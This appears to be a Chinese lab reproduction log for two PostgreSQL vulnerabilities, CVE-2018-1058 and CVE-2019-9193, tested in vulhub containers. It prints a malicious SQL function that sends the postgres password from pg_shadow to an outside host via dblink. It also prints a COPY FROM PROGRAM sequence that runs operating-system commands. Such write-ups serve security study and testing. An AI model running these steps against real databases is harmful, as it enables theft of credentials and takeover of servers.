Postgres漏洞匯現
CVE-2018-1058
漏洞名稱:
遠程代碼執行漏洞
漏洞類型:
遠程代碼執行
公佈時間:
2018-3-1
涉及應用版本:
PostgreSQL
https://www.securityfocus.com/bid/103221
針對操作系統:
windows/linux/mac
漏洞簡介:
擁有普通權限的psql用戶可以創建惡意函數。在管理員使用某些工具的時候,就會觸發到惡意函數,造成代碼執行。從而把信息反彈給另一臺主機
參考文章:
測試信息
測試應用及版本:
postgres 9.6.7
測試操作系統環境:
ubuntu/linux
測試人:
Ann
測試日期:
2019-7-20
測試環境:
vulhub/postgres/CVE-2018-1058
測試過程:
- 以普通用戶登陸 vulhub/vulhub
- 以普通用戶執行命令,創建惡意函數
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=192.168.248.132 port=12345 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
- 遠程監聽端口 4444
- 以管理員用戶登錄 postgres/postgres
- 執行命令,觸發惡意函數,導致代碼執行,併發送到指定機器上
pg_dump -U postgres -f evil.bak evil
- 得到管理員密碼
CVE-2019-9193
漏洞名稱:
高權限命令執行漏洞
漏洞類型:
遠程命令執行
公佈時間:
2019-3-27
涉及應用版本:
PostgreSQL
9.3-11.2
針對操作系統:
windows/linux/mac
漏洞簡介:
從版本9.3開始,實現了“ 複製到/來自程序 ”的新功能。這允許數據庫超級用戶和’pg_execute_server_program’組中的任何用戶運行任意操作系統命令。這實際上意味着數據庫超級用戶用戶與在操作系統上運行數據庫的用戶之間沒有權限分離
Metasploit:
這個需要自行添加到msf的模塊中
參考文章:
測試信息
測試應用及版本:
postgres 10.7
測試操作系統環境:
ubuntu/linux
測試人:
Ann
測試日期:
2019-7-20
測試環境:
vulhub/postgres/CVE-2019-9193
測試過程:
- 登陸默認賬號密碼 postgres/postgres
- 執行命令,刪除存在的cmd_exec表
DROP TABLE IF EXISTS cmd_exec;
- 創建新的表
CREATE TABLE cmd_exec(cmd_output text);
- 在代碼執行中插入命令
COPY cmd_exec FROM PROGRAM ' ID ' ;
- 查看命令的執行結果
SELECT * FROM cmd_exec;